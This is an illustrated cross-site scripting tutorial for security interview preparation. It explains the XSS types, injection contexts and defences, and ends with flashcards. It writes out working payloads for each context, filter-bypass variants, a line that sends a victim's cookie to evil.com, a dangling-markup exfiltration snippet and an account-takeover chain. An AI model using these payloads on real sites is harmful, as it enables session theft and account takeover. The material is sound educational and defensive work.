XSS, the zine class
Learn cross-site scripting step by step: what it is, how attackers use it, and how to stop it. Ada asks interview questions as you read.
XSS is one of the most common web vulnerabilities. Most AppSec, pentest and security engineering interviews ask about it. This class teaches XSS from the basics to senior-level detail.
Each drawing plays when you scroll to it. Tap a drawing to go one step at a time. Your answers stay in this browser only.
1Meet the cast
These six characters are in all Zine Classes.
2What is XSS?
Cross-site scripting (XSS) occurs when a website puts attacker text into a page as code, not as text. The browser of the victim then runs the attacker's script. The script runs inside the website, with the session of the victim.
Great post! <script>steal()</script>- Mallory finds a comment box on a blog. Alice uses the same blog.
- Mallory writes a comment that contains a
<script>tag. - Servo saves the comment in the database. Servo does not check it.
- Alice opens the blog post. Browsy asks Servo for the comments.
- Servo puts the comment into the HTML page without a change.
- Browsy cannot see which part is code and which part is text. Browsy runs the script.
- The script runs as the blog. It sends the session cookie of Alice to Mallory.
- Alice only read a page. She did nothing wrong.
The bug is on the server, not in the browser. Servo mixed data (the comment) into code (the page). Many injection bugs have this cause, for example SQL injection and prompt injection.
In an XSS attack, where does the attacker's code run?
- On the web server
- On the attacker's computer
- In the victim's browser, inside the vulnerable website
- In a sandbox tab that the browser opens
The script runs in the victim's browser, on the origin of the vulnerable website. It gets the same access as the website's own JavaScript.
3Why the browser runs it
The same-origin policy keeps websites apart. A page from bank.com cannot read data from evil.com. An origin is the scheme, host and port, for example https://bank.com:443.
XSS does not break this rule. The attacker's script is inside the bank.com page, so the browser gives it the bank.com origin. HTML does not record who wrote each line.
showBalance()fetch('//evil.com?c='+document.cookie)localStorage, cookies (if not HttpOnly), and all APIs of the user.- Browsy loads a page from bank.com. All code on the page gets the bank.com origin.
- The script of the bank runs as bank.com.
- The injected script is on the same page. It also runs as bank.com.
- Browsy cannot know which script the bank wrote.
- Thus the attacker's script can do all that the real script can do.
"Why does the same-origin policy not stop XSS?"
The same-origin policy keeps different origins apart. XSS puts the attacker's code inside the target origin. The browser then treats that code as the code of the website. The policy works correctly. The page is the problem.
4Reflected, stored, DOM
There are three types of XSS. The difference is where the payload is and what puts it in the page.
Stored XSS
The server saves the payload, for example in a comment or a profile name. All users who see that data run the payload. The user does not need to click a link. Stored XSS usually has the highest severity.
Reflected XSS
The payload is in the request, usually in a link. The server copies it into the response. The server does not save it. The attacker must make the victim open the link.
bank.com/search?q=<script>steal()</script>- Mallory makes a link to the search page. The
qparameter contains a script. - Mallory sends the link to Alice in an email.
- Alice clicks the link. Browsy sends the full URL to Servo.
- Servo writes "You searched for:" and the query into the page.
- The payload comes back in the page and runs as bank.com. Servo saved nothing.
DOM-based XSS
The server does nothing wrong. The page's own JavaScript reads attacker data, for example from the URL. Then it writes that data into the page in an unsafe way. The browser does not send the part of the URL after # to the server.
shop.com/#<img src=x onerror=steal()>box.innerHTML = location.hash.slice(1)the page's own JavaScript
- Alice opens a link. The payload is after the
#. - Browsy asks Servo for the page. Browsy does not send the part after
#. Server logs and most WAFs do not see the payload. - The page's script reads
location.hash. This is the source. - The script gives the value to
innerHTML. This is the sink. Theonerrorhandler runs.
Classify each bug.
- The leaderboard shows your display name without encoding.
- An error page writes the
?redirect=value into the HTML. - A single-page app puts
location.hashintoinnerHTML. - A support ticket subject runs a script when an agent opens it.
- A widget writes
postMessagedata withdocument.write. - The search page shows
?q=inside an<h1>.
Ask two questions. Does the server save the payload? Then it is stored. Does client-side JavaScript put it in the page? Then it is DOM. If not, it is reflected. The help desk bug is also blind XSS.
5Where the input goes
The same input can be safe in one place and dangerous in a different place. The context is important. The context is what the browser parser does when it reads your input.
Template<p>Hello, USER</p>
Payload<img src=x onerror=alert(document.domain)>
<p>Hello, <img src=x onerror=alert(document.domain)></p>
WhyIn HTML, < starts a new tag. innerHTML does not run <script> tags, so attackers use img onerror.
FixHTML-encode & < > " '.
Template<input value="USER">
Payload" autofocus onfocus=alert(1) x="
<input value="" autofocus onfocus=alert(1) x="">
WhyThe quote closes the value. Then the attacker adds an attribute. autofocus starts it without a click.
FixAttribute-encode, including " and '.
Template<input value=USER>
Payloadx onmouseover=alert(1)
<input value=x onmouseover=alert(1)>
WhyWithout quotes, a space ends the value. The payload needs no special characters.
FixAlways use quotes. Then attribute-encode.
Template<script>var name = 'USER';</script>
Payload';alert(1)// or </script><script>alert(1)</script>
var name = '';alert(1)//';
WhyThe input is already in JavaScript. Close the string and you write code. The HTML parser also ends the block at </script>, even inside a string.
FixJavaScript-escape as \xHH, including <. Better: put the value in a data- attribute.
Template<a href="USER">my website</a>
Payloadjavascript:alert(document.domain)
<a href="javascript:alert(document.domain)">my website</a>
WhyHTML encoding does not change this value. Browsers also accept JaVaScRiPt:.
FixParse the URL. Allow only https:, http: and mailto:.
Template<button onclick="go('USER')">
Payload');alert(1)//
onclick="go('');alert(1)//')"
WhyThe HTML parser changes ' to ' before the JavaScript runs. HTML encoding alone does not protect this context.
FixDo not put data in inline handlers. Use addEventListener.
Template<textarea>USER</textarea>
Payload</textarea><img src=x onerror=alert(1)>
<textarea></textarea><img src=x onerror=alert(1)></textarea>
WhyThe parser ignores tags inside <textarea>, but not the closing tag.
FixHTML-encode.
Template<script>var data = {"name":"USER"};</script>
Payload</script><script>alert(1)</script>
var data = {"name":"</script><script>alert(1)</script>"};
WhyJSON.stringify does not escape <. The HTML parser ends the script block.
FixEscape < as <. Or use <script type="application/json"> and JSON.parse.
The app puts your input into <a href="…">. It HTML-encodes the input correctly. Which payload still works?
- <script>alert(1)</script>
- javascript:alert(document.domain)
- " onmouseover="alert(1)
- <img src=x onerror=alert(1)>
A javascript: URL has no characters that HTML encoding changes. For URLs, allow only safe schemes.
A filter removes all < and > characters. Is the page safe?
- Yes. You cannot make a tag without angle brackets.
- Only if JavaScript is off
- No. In an attribute, a script string or a URL, you do not need angle brackets.
- Yes, because browsers block inline scripts
" onfocus=alert(1) autofocus x=", ';alert(1)// and javascript:alert(1) have no angle brackets. Encode the output for its context. Do not filter the input.
6Sources and sinks
For DOM XSS, know two terms. A source is where attacker data comes into your JavaScript. A sink is a function or property that makes a string into HTML or code. A DOM XSS bug is a path from a source to a sink with no safe step between them.
location.hash,.searchdocument.referrerwindow.namepostMessagedatalocalStorage
innerHTML,outerHTMLdocument.writeeval,new FunctionsetTimeout("string")href,src,location- jQuery
.html()
textContentcreateElementsetAttribute- Functions in
setTimeout - Check URL schemes
DOMPurifyorsetHTML
Tap the two lines that make this page vulnerable.
const params = new URLSearchParams(location.search);
const name = params.get('name') || 'friend';
document.querySelector('#hi').textContent = 'Hi ' + name;
document.querySelector('#bio').innerHTML = params.get('bio');
const theme = params.get('theme');
document.body.className = theme;
const next = params.get('next');
document.querySelector('#back').href = next;
console.log('loaded for', name);
Line 4 puts a URL parameter into innerHTML. Line 8 puts a URL parameter into href, so javascript: works. Line 3 uses textContent, which is safe. Line 6 only sets a class name.
7Exploiting XSS
RuleTest only systems that you have permission to test. Use your own test accounts. Do not touch the data of real users.
A search box can be vulnerable. Put the test steps in the correct order.
- Type a unique, safe marker, for example
zine7x9 - Find all locations where the marker is in the response and the DOM
- Find the context at each location: HTML, attribute, script or URL
- Check which characters the app does not encode:
< > " ' ( ) / - Make the smallest payload for that context
- Show the impact with
alert(document.domain)or an action on your own account
You must know the context before you choose a payload. To know the context, you must find where the input goes. Burp Suite and DOM Invader help with steps 2 and 3.
Payloads, from simple to complex
// HTML body
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
// quoted attribute
" autofocus onfocus=alert(document.domain) x="
// JavaScript string
';alert(document.domain)//
// link
javascript:alert(document.domain)
// weak filters: case, no spaces, entities
<ImG/src=x/OnErRoR=alert(1)>
<a href="jav	ascript:alert(1)">click</a>
Use alert(document.domain), not alert(1). It shows which origin runs your code. Many websites show user content on a separate sandbox domain. Some browsers block alert() in cross-origin iframes. In that case, use print().
Show the real impact
An alert box shows that the bug exists. A good report shows what an attacker can do with it.
fetch('/api/me')POST /settings/email [email protected]&csrf=…- The payload runs in the tab of Alice.
- The payload calls the API of the website. Browsy adds the cookie of Alice automatically.
- Servo sends the data and the CSRF token of Alice. The script can read the response.
- The script sends a request to change the email address. The request has the correct token.
- Servo cannot see a difference from a real click by Alice.
- Mallory resets the password. Mallory now has the account. The cookie was HttpOnly all the time.
The session cookie is HttpOnly. What does this stop?
- All XSS attacks
- JavaScript cannot read the cookie, so the attacker cannot copy the session
- The browser does not send the cookie with script requests
- Requests from other websites
HttpOnly hides the cookie from document.cookie. It stops session theft, not XSS. The script can still act as the user while the tab is open.
Real attacks
- MySpace, 2005: the Samy worm. Stored XSS infected more than one million profiles in about 20 hours.
- Twitter, 2010: the onMouseOver worm. A mouse movement over a tweet retweeted it.
- TweetDeck, 2014: a script tweet retweeted itself more than 80,000 times.
- Yahoo Mail, 2016: stored XSS in HTML email. Opening the email was sufficient.
- Fortnite, 2019: XSS on an old subdomain, used with the login flow to take accounts.
- Roundcube, 2023: an SVG in an email ran a script. Attackers used it to read government email.
"Your report shows alert(1). The triager gives it low severity. What do you do?"
Show the real impact on my own test accounts. Use alert(document.domain) to show the origin. Then make a full proof of concept. For example, read the CSRF token and change the account email. Say if a click is necessary, if the payload is stored, and which users it can attack. Do not test on real users.
8Defences in layers
One header cannot stop XSS. Use layers. Each layer stops what the layer before it did not stop. Put the real fix first.
<img src=x onerror=steal()><img…onerrorinnerHTML = string throws an error- Mallory has a payload. Five layers protect Alice.
- Encode the output for its context. This is the real fix. The browser shows the payload as text.
- Sanitize only if you must allow HTML. Use DOMPurify. Do not use a regex.
- Content Security Policy (CSP). A strict CSP blocks scripts that do not have the correct nonce.
- Trusted Types. DOM sinks do not accept plain strings. This stops most DOM XSS.
- Cookie flags do not stop XSS. They decrease the damage.
Framework escape hatches
React, Vue, Angular and most server templates encode text automatically. XSS in modern apps usually occurs where a developer turns this protection off:
- React:
dangerouslySetInnerHTML, andhref={userUrl}without a scheme check - Vue:
v-html - Angular:
bypassSecurityTrustHtml. Old AngularJS also had template injection:{{constructor.constructor('alert(1)')()}} - Other: markdown with raw HTML, and "raw" template filters such as
|safeand{!! !!}
Which items prevent XSS? Do not choose items that only decrease the damage.
- Context-aware output encoding
- HttpOnly cookies
- Sanitizing user HTML with DOMPurify
- The
X-XSS-Protection: 1; mode=blockheader - Trusted Types on DOM sinks
- A web application firewall
Encoding, sanitizing and Trusted Types stop strings from becoming code. HttpOnly decreases the damage. Chrome removed the XSS Auditor in version 78. Firefox never had one. A strict CSP is defence in depth.
A strict CSP
Content-Security-Policy:
script-src 'nonce-R4nd0m' 'strict-dynamic' https: 'unsafe-inline';
object-src 'none';
base-uri 'none';
Each real script tag gets a new random nonce for each response. Injected scripts do not know the nonce, so the browser blocks them. 'strict-dynamic' lets trusted scripts load more scripts. Modern browsers ignore https: and 'unsafe-inline' in this policy. They are only for old browsers. base-uri 'none' stops an injected <base> tag.
The CSP is script-src 'self' https://cdn.example.com. The CDN has many public libraries. What is the risk?
- An attacker can load an old library or a JSONP endpoint from the CDN and run code
- CSP does not apply to injected scripts
- 'self' allows inline scripts
- There is no risk
Allowlist CSPs are weak. A Google study in 2016 found bypasses in about 95% of real policies. Use a strict CSP with a nonce or a hash.
9Senior round
Senior interviews often ask about these topics. Know what each one is and how it works.
<img src='https://evil.test/? sends the page text to the attacker, up to the next quote. That text can contain a CSRF token.event.origin, or it checks it incorrectly. Then it puts the data into innerHTML or eval. Fix: compare the origin exactly.text/html is also dangerous. Fix: use a separate domain for uploads, correct content types, and nosniff.<a id="config"> replaces window.config. This can cause XSS through a sanitizer that allows id.require-trusted-types-for 'script', sinks accept only objects from named policies. The setHTML() method cleans HTML with the browser parser. Check browser support before you use them."We have a strict nonce-based CSP. Is XSS still a risk?"
Yes. CSP is defence in depth, not the fix. Nonce reuse, 'unsafe-eval', a missing base-uri or script gadgets can weaken it. It does not stop dangling markup, DOM clobbering or a fake login form in HTML. Continue to encode and sanitize.
"How do you remove XSS in a company with 200 developers?"
Make the safe method the default. Use frameworks that encode automatically. Add lint rules that block escape hatches. Give one shared sanitizer and one URL helper. Start CSP and Trusted Types in report-only mode, then enforce them. Put uploads on a separate domain. Add SAST and DAST to CI.
A sanitizer makes safe HTML. Then the app changes the string before it inserts it. Which bug class is the highest risk?
- CSRF
- Reflected XSS
- Self-XSS
- Mutation XSS: the changed string can parse differently
Sanitized output is safe only without changes and only in its context. Sanitize last. Insert immediately.
10Interview mode
Example: "What is DOM XSS?"
- What: XSS where the page's JavaScript moves attacker data from a source to a sink.
- Attack:
location.hashintoinnerHTML, with<img onerror>after the#. - Fix:
textContent, or DOMPurify if HTML is necessary. - Detail: the browser does not send the hash to the server, so logs and WAFs do not see it.
Say each answer aloud before you flip the card. Tick "only the ones I missed" to practise your missed cards.
- What is XSS?
- Attacker data becomes HTML or JavaScript in the victim's browser, on the origin of the vulnerable website. It runs with the victim's session.
- What are reflected, stored and DOM XSS?
- Reflected: the server copies the payload from the request into the response. Stored: the server saves the payload and shows it to other users. DOM: the page's JavaScript moves the payload from a source to a sink.
- Which type usually has the highest severity?
- Stored XSS. One payload attacks all users who see the data, with no click. The location is also important: an admin panel is more dangerous.
- What can an attacker do with XSS?
- Act as the user: read data, get CSRF tokens, change the email or password. Steal tokens from
localStorage. Show a fake login form. Record keys. - Does HttpOnly fix XSS?
- No. JavaScript cannot read the cookie. But the script can still send requests with the cookie and act as the user.
- What is the main defence?
- Context-aware output encoding, usually from a framework that encodes automatically. Then add sanitizing, a strict CSP and Trusted Types.
- Why is input filtering not sufficient?
- Each context needs a different defence. Many payloads have no angle brackets. Filters cannot know all encodings and parser rules.
- What is the difference between XSS and CSRF?
- CSRF sends a request from a different site and cannot read the response. XSS runs inside the origin. It can read tokens, so it defeats CSRF protection.
- Name three DOM XSS sources and three sinks.
- Sources:
location.hash,document.referrer,postMessage. Sinks:innerHTML,document.write,eval. - What is self-XSS?
- A payload that runs only for the person who types it. Bug bounty programs usually do not accept it alone. It can be important when you combine it with a different bug.
- What is blind XSS?
- Stored XSS that runs in a place you cannot see, for example an admin panel. Use a payload that sends a request to your server.
- How do you test an input for XSS?
- Send a unique marker. Find where it comes back. Find the context. Check which characters stay. Make a payload for that context. Show the impact.
- Why use alert(document.domain)?
- It shows which origin runs the code. Some websites show user content on a separate sandbox domain.
- Does HTTPS or a WAF prevent XSS?
- HTTPS does not. Attackers can bypass a WAF, and a WAF cannot see DOM XSS.
- What is context-aware encoding?
- Use the correct encoder for each location: HTML entities in the body, attribute encoding in attributes,
\xHHin JavaScript strings, percent-encoding in URLs. - When do you encode and when do you sanitize?
- Encode when the input is text. Sanitize only when you must allow HTML. Use DOMPurify, not a regex.
- How does DOMPurify work? How can it fail?
- It parses the input with the browser parser and removes all items that are not on its allowlist. It fails if you change the output, use it in a different context, use an old version, or allow too much.
- Name the XSS escape hatches in React, Vue and Angular.
- React:
dangerouslySetInnerHTMLand uncheckedhref. Vue:v-html. Angular:bypassSecurityTrust*. - Why are javascript: URLs dangerous?
- They run code when the user clicks. HTML encoding does not change them. Parse the URL and allow only
http,httpsandmailto. - What is CSP? Why is 'unsafe-inline' a problem?
- CSP is a header that controls which scripts can run.
'unsafe-inline'allows all inline scripts, and most payloads are inline scripts. - What is the difference between a CSP nonce and a hash?
- A nonce is a new random value for each response. A hash allows one exact inline script. Use a hash for static pages.
- How can a JSON API cause XSS?
- If it sends user data as
text/html, the browser shows it as HTML. Sendapplication/jsonwithnosniff. - How can file uploads cause XSS?
- SVG and HTML files can contain scripts. On the main origin, they are stored XSS. Use a separate domain, the correct content type and
nosniff. - What is the problem with postMessage?
- The handler does not check
event.origincorrectly. Then it puts the data into a sink. Compare the origin exactly. - Must we set X-XSS-Protection?
- No. Set it to 0 or do not send it. Modern browsers removed the XSS Auditor. Use CSP.
- Which is safer against XSS: localStorage or HttpOnly cookies?
- HttpOnly cookies. XSS can read all of
localStorage. XSS cannot read an HttpOnly cookie, but it can use it. - Why is XSS more dangerous in Electron apps?
- If
nodeIntegrationis on orcontextIsolationis off, XSS can run code on the computer of the user. - What does 'strict-dynamic' do?
- Scripts that have a correct nonce or hash can load more scripts. Supporting browsers then ignore host allowlists and
'unsafe-inline'. - Why do allowlist CSPs fail?
- Allowed hosts often have JSONP endpoints or old libraries that attackers can use. A Google study found bypasses in about 95% of real policies.
- Name other CSP bypasses.
- A missing
base-uri, nonce reuse,'unsafe-eval', script gadgets in frameworks, and uploads on the same origin. - What is dangling markup injection?
- Scripts are blocked. An unclosed tag sends the page text to the attacker, up to the next quote. The text can contain a CSRF token.
- What is mutation XSS?
- The browser parses sanitized HTML again and gets a different result. Safe text becomes a script. Keep sanitizers up to date and do not serialize again.
- What are Trusted Types?
- A CSP feature. DOM sinks accept only objects from named policies, not strings. You then review only those policies.
- What is the Sanitizer API?
element.setHTML()cleans HTML with the browser parser and always removes scripts.setHTMLUnsafe()does not clean. Check browser support.- What is DOM clobbering?
- HTML with
idornameattributes replaces global variables. This can cause XSS through a sanitizer. - How can XSS on a subdomain attack the main site?
- It can set cookies for the parent domain. It can also use OAuth redirects that trust all subdomains. Use
__Host-cookies and exact redirect URIs. - How do you add CSP to a large existing app?
- Start in report-only mode. Add nonces in the templates. Remove inline handlers and
javascript:URLs. Then enforce the policy. - How do you show impact in a bug bounty report?
- Use your own test accounts. Show the origin with
document.domain. Show a full chain, for example read the CSRF token and change the email. - Why do scanners find DOM XSS badly?
- DOM XSS is only in client-side JavaScript. It often needs the hash or
postMessage. You need taint tracking or a code review. - How do you remove XSS in a whole company?
- Frameworks that encode by default, lint rules for escape hatches, one shared sanitizer, strict CSP and Trusted Types, separate upload domains, and SAST and DAST in CI.
11Cheat sheet
- Reflected: in the request
- Stored: saved on the server
- DOM: from source to sink in JavaScript
- HTML: encode
< > & - Attribute: use quotes, encode quotes
- JavaScript:
\xescape - URL: allow http(s) and mailto only
- Encode output
- Sanitize HTML
- Strict CSP
- Trusted Types
- HttpOnly, SameSite
alert(document.domain)- An action on your own account
- Who it attacks, and if a click is necessary
- HttpOnly stops XSS
- Removing
<>is sufficient - A WAF is a fix
- X-XSS-Protection helps
- CSP is the fix
Did you find an error? Tell me on X. Paper versions: reflected XSS and stored XSS flyers.